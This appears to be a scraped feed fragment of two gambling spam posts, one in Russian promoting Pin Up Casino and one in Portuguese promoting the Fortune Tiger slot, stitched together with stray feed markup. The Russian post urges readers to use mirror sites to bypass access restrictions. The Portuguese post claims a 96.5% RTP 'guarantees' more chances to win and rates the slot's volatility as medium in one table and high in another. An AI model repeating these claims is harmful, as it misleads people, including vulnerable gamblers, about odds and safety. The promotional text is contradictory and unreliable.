  • Наслаждаться высококачественными играми и моментами выигрыша.
  • Пин Ап Казино – это не просто игра, это стиль жизни. Присоединяйтесь к Pinup и откройте для себя новые горизонты азарта!

    Pin Up Casino: Играть онлайн

    Независимо от того, где вы находитесь, пинап казино доступно в любое время. Используйте зеркало сайта, чтобы обеспечить стабильный доступ к платформе. Pin up гарантирует безопасность и честность игры, а также щедрые бонусы для новых и постоянных игроков.

    Присоединяйтесь к сообществу пинап казино и наслаждайтесь качественным гемблингом онлайн. Pinup – это не только игры, но и возможность выиграть крупные суммы в удобной и надежной среде.

    Вход в Пин Ап Казино

    Для того чтобы начать играть в Pin Up Casino, вам необходимо выполнить вход на официальный сайт. Процесс регистрации в пинап казино прост и занимает всего несколько минут. После авторизации вы получите доступ ко всем играм и услугам, предлагаемым пин ап.

    Шаг
    Описание

    1 Перейдите на официальный сайт Pin Up Casino. 2 Нажмите на кнопку “Вход” или “Login”. 3 Введите ваш логин и пароль, указанные при регистрации в пинап. 4 Подтвердите вход, нажав на кнопку “Войти”.

    Если у вас возникнут трудности с доступом, воспользуйтесь зеркалом пин ап казино. Это позволит вам беспрепятственно войти в систему и продолжить игру в пинап.

    Зеркало для доступа к сайту

    Для удобства и безопасности пользователей, Pin Up Casino предоставляет доступ через зеркало. Это альтернативный способ входа на официальный сайт, который позволяет обойти возможные ограничения и продолжить игру без перерывов.

    • Зеркало пин ап казино обновляется регулярно, чтобы обеспечить стабильный доступ.
    • Используйте зеркало, чтобы играть в Pinup онлайн, даже если основной сайт недоступен.
    • Процесс входа через зеркало идентичен стандартному, что делает его удобным для всех игроков.

    Чтобы получить ссылку на зеркало, следуйте инструкциям на официальном сайте пинап или обратитесь в службу поддержки.

  • Перейдите на зеркало пин ап.
  • Введите свои данные для входа.
  • Наслаждайтесь игрой в Pin Up Casino без ограничений.
  • Зеркало – это надежный инструмент, который обеспечивает доступ к любимым играм в пин ап казино в любое время.

    Игры и развлечения в Pin Up Casino

    Pin Up Casino предлагает огромный выбор игр и развлечений для всех любителей азарта. В пинап казино доступны как классические слоты, так и современные видеослоты с увлекательными сюжетами и бонусами. Pinup гарантирует качественную графику и плавную работу игровых автоматов.

    Для тех, кто предпочитает живое общение, в пин ап представлены живые казино с настоящими крупье. Вы можете насладиться играми в рулетку, блэкджек или баккару, не выходя из дома. Pin Up Casino также предлагает турниры и акции, которые сделают ваше времяпрепровождение еще более интересным.

    Независимо от вашего уровня опыта, пинап казино создаст комфортную и безопасную атмосферу для игры. Присоединяйтесь к Pinup и откройте для себя мир ярких эмоций и крупных выигрышей!

    Бонусы и акции для новых игроков

    Приветствуем вас в Пин Ап Казино! Для новых игроков мы подготовили специальные бонусы и акции, которые сделают ваше пребывание у нас еще более приятным и выгодным.

    PinUp предлагает щедрый приветственный бонус для всех новичков. Просто зарегистрируйтесь на официальном сайте пинап казино и получите дополнительные средства для игры. Это отличная возможность попробовать свои силы в любимых играх без лишних вложений.

    Кроме того, в пин ап казино регулярно проходят акции, которые позволяют увеличить ваш выигрыш. Участвуйте в турнирах, собирайте комбинации и получайте дополнительные призы. Pinup всегда заботится о своих игроках, предлагая только самые интересные и выгодные предложения.

    Не упустите шанс стать частью нашей игровой семьи и воспользоваться всеми преимуществами пинап. Регистрируйтесь прямо сейчас и получите бонусы для новых игроков!

    Почему стоит выбрать Пин Ап Казино

    Пин ап казино славится своим удобным интерфейсом, который доступен как на официальном сайте, так и через зеркало. Pin Up предоставляет возможность играть онлайн в любое время и с любого устройства. Бонусы и акции пинап казино делают игровой процесс еще более интересным и выгодным.

    Регулярные обновления игровых каталогов, а также поддержка 24/7 делают Pinup идеальным выбором для всех любителей азартных развлечений. Пин ап казино – это не только развлечение, но и шанс почувствовать себя победителем!

    ]]>
    Fortuna do Tigre – Desvendando o Slot de Cassino Fortune Tiger https://aimecu.org/fortuna-do-tigre-desvendando-o-slot-de-cassino-fortune-tiger/ Thu, 13 Feb 2025 14:02:26 +0000 https://aimecu.org/?p=22620

    Содержимое

    Fortuna do Tigre – Desvendando o Slot de Cassino Fortune Tiger

    Experimente a emoção do FortuneTiger slot de cassino e deixe a sorte guiá-lo rumo a prêmios incríveis. Com gráficos deslumbrantes e jogabilidade envolvente, FortuneTiger é a escolha perfeita para todos os amantes de jogos de azar.

    Fortune Tiger: A Jogatina que Traz a Sorte

    O FortuneTiger é mais do que um simples jogo de cassino; é uma experiência que combina adrenalina com a promessa de prêmios inigualáveis. Se você busca a emoção de uma jogatina que pode mudar sua vida, o FortuneTiger é a escolha perfeita.

    • Gráficos Deslumbrantes: Mergulhe em um mundo de cores vibrantes e animações fluidas que tornam cada rodada uma experiência visual única.
    • Jogabilidade Intuitiva: Com controles simples e uma interface amigável, o FortuneTiger é acessível para jogadores de todos os níveis.
    • Bônus e Rodadas Grátis: Desbloqueie rodadas especiais e bônus que aumentam suas chances de ganhar grandes prêmios.

    Não perca a fortune tiger horários pagantes oportunidade de experimentar o FortuneTiger, o jogo que pode trazer a sorte que você sempre sonhou.

  • Registre-se: Crie sua conta e receba bônus de boas-vindas exclusivos.
  • Faça sua Primeira Aposta: Comece a jogar e sinta a emoção de cada rodada.
  • Ganhe Grandes Prêmios: Com a sorte do FortuneTiger, os maiores prêmios podem ser seus.
  • Prepare-se para uma jogatina que transcende o ordinário. O FortuneTiger está pronto para levar você a novos patamares de diversão e fortuna.

    Gráficos Deslumbrantes e Animações Cativantes

    O Fortune Tiger slot de cassino não é apenas sobre sorte, mas também sobre uma experiência visual incomparável. Cada rotação das bobinas é uma celebração de gráficos de alta qualidade e animações que cativam os jogadores desde o primeiro momento.

    • Detalhes Impecáveis: Cada símbolo, desde o majestoso tigre até as cartas de jogo, é meticulosamente desenhado com detalhes que impressionam. A riqueza de cores e texturas cria uma atmosfera envolvente.
    • Animações Fluidas: As animações são suaves e dinâmicas, proporcionando uma jogabilidade fluida e agradável. Cada ganho é acompanhado por animações que celebram a sua sorte, mantendo o jogo emocionante.
    • Efeitos Especiais: Os efeitos visuais especiais, como raios de luz e partículas de fogo, adicionam um toque de magia ao jogo. Esses detalhes fazem com que cada momento no Fortune Tiger seja único e memorável.

    Prepare-se para ser envolvido por uma experiência visual que transcende os limites convencionais dos jogos de cassino. O Fortune Tiger não apenas oferece oportunidades de ganhos, mas também uma jornada visualmente deslumbrante.

    Bônus e Rodadas Grátis para Mais Diversão

    Quer aproveitar ao máximo o Fortune Tiger slot de cassino? Não perca a oportunidade de ganhar bônus e rodadas grátis que vão tornar sua experiência ainda mais emocionante!

    • Bônus de Boas-Vindas: Ao ingressar no jogo, você recebe um bônus especial para começar sua jornada com o Fortune Tiger. Esse bônus pode ser usado para aumentar suas chances de ganhar desde o início.
    • Rodadas Grátis: Acumule pontos e troque-os por rodadas grátis no Fortune Tiger. Essas rodadas são uma excelente maneira de desfrutar do jogo sem gastar nada.
    • Promoções Diárias: Diariamente, novas promoções são lançadas, oferecendo bônus e rodadas grátis exclusivas. Fique atento para não perder nenhuma oportunidade de ganhar mais com o Fortune Tiger.
    • Programa de Fidelidade: Quanto mais você joga, mais recompensas ganha. O programa de fidelidade do Fortune Tiger oferece bônus e rodadas grátis aos jogadores mais frequentes.

    Não deixe de aproveitar todas essas ofertas especiais e torne sua experiência com o Fortune Tiger ainda mais divertida e gratificante!

    RTP Elevado: Mais Chances de Ganhar

    O FortuneTiger não apenas oferece entretenimento de alta qualidade, mas também proporciona uma experiência de jogo com um RTP elevado. Este valor representa a porcentagem de retorno ao jogador, indicando quanto, em média, os jogadores podem esperar ganhar de volta ao longo do tempo.

    Característica
    Detalhe

    RTP 96.5% Volatilidade Média Jackpot Progressivo

    Com um RTP de 96.5%, o FortuneTiger garante que você tenha mais chances de ganhar em cada rodada. Este alto retorno ao jogador torna o jogo ainda mais atraente, proporcionando uma experiência de cassino online que valoriza seus esforços e investimentos.

    Jogue Agora e Ganhe Prêmios Incríveis

    Prepare-se para uma aventura emocionante com o FortuneTiger slot de cassino! Este jogo de alta volatilidade promete trazer momentos de pura adrenalina e grandes recompensas. Com gráficos deslumbrantes e uma jogabilidade envolvente, o FortuneTiger é a escolha perfeita para todos os amantes dos jogos de cassino.

    Característica
    Descrição

    Tema Tigre da Sorte Volatilidade Alta Prêmios Incríveis jackpots e bônus Jogabilidade Interessante e envolvente

    Não perca a oportunidade de experimentar o FortuneTiger e transformar sua noite em uma celebração de prêmios. Jogue agora e sinta a emoção de ganhar com o poder da sorte do tigre!

    Suporte ao Cliente 24/7 para Você

    No mundo do cassino online, a tranquilidade e a confiança são fundamentais. Com o Fortune Tiger, você não está sozinho. Nossa equipe de suporte ao cliente está disponível 24 horas por dia, 7 dias por semana, para garantir que sua experiência com o Fortune Tiger seja perfeita.

    Seja qual for a sua dúvida ou problema, estamos aqui para ajudar. Desde questões técnicas até dúvidas sobre as regras do jogo, nossa equipe está preparada para oferecer soluções rápidas e eficientes. Aproveite ao máximo o Fortune Tiger, sabendo que o suporte está sempre a um clique de distância.

    Confie no Fortune Tiger para uma experiência de cassino online sem preocupações. Com o suporte ao cliente 24/7, você pode se concentrar no que realmente importa: a diversão e a emoção de cada rodada.

    Disponível em Dispositivos Móveis

    Aproveite a emoção do FortuneTiger diretamente na palma da sua mão! Nossa versão otimizada para dispositivos móveis garante uma experiência de jogo perfeita, seja no seu smartphone ou tablet.

    Com a FortuneTiger, você pode desfrutar de gráficos deslumbrantes e animações suaves, independentemente do dispositivo que você escolher. A interface intuitiva e responsiva torna cada rodada tão envolvente quanto em um computador.

    Não perca tempo, baixe agora e experimente a FortuneTiger onde quer que você esteja. A sorte está sempre ao seu alcance!

    Segurança e Confiança Garantidas

    No mundo dos cassinos online, a segurança é primordial. O FortuneTiger assegura que todos os dados dos jogadores são protegidos com os mais avançados protocolos de criptografia. Aqui, você pode desfrutar do FortuneTiger slot de cassino com a certeza de que suas informações estão em boas mãos.

    Além disso, a confiança é construída ao longo do tempo, e o FortuneTiger tem se destacado por oferecer transações rápidas e seguras, além de um suporte ao cliente excepcional. Jogue com tranquilidade, sabendo que o FortuneTiger está comprometido com a sua experiência segura e satisfatória.

    Participe da Comunidade Fortune Tiger

    Junte-se a uma comunidade vibrante e apaixonada pelo Fortune Tiger. Aqui, você encontrará dicas valiosas, estratégias vencedoras e histórias inspiradoras de outros jogadores que também se entregam ao fascinante mundo do Fortune Tiger.

    Compartilhe suas próprias experiências, faça perguntas e conecte-se com outros entusiastas do Fortune Tiger. A comunidade é um espaço aberto para todos que desejam aprimorar suas habilidades e aproveitar ao máximo cada rodada do Fortune Tiger.

    Não perca a oportunidade de fazer parte dessa rede de jogadores dedicados. Participe agora e descubra como o Fortune Tiger pode mudar sua experiência de jogo para sempre.

    ]]>